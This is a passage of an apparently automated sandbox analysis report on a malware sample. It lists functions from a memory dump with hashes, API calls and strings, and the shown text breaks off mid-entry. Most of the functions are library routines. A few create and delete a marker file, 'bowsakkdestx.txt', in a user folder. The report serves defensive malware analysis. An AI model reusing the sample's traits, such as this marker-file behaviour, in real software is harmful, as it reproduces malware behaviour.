Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

invalid string position, xrefs: 00417D2C
string too long, xrefs: 00417D36

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422A44, 00422A87, 00422A3A, 00422AB8, 00422A9F

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

invalid string position, xrefs: 00414260
string too long, xrefs: 00414256

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 00437A2D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00437A44
_wcscmp.LIBCMT ref: 00437A55

Strings

ACP, xrefs: 00437A3E
OCP, xrefs: 00437A4F

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _wcscmp
String ID: ACP$OCP
API String ID: 856254489-711371036
Opcode ID: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction ID: be6dee110b44ec76455643647cb0bd3c477e6d53c765760a4e3a4e904bc1756d
Opcode Fuzzy Hash: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction Fuzzy Hash: EF01C4A2608215B6EB34BA59DC42FAE37899F0C3A4F105417F948D6281F77CEB4042DC

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 23fc771ccd0fb84302ef14e270554964de1445af84905d4ed2fddc0fcc519b49
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 9925ebe33404cbde23c1fb2f9b399b2968a8912f67deb2e26b2c525534b3c5e5
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 5ded8e805fb9d85925a514c54c7cbea03eca9cd562b5d6178e86047d8f483102
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 5ded8e805fb9d85925a514c54c7cbea03eca9cd562b5d6178e86047d8f483102
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

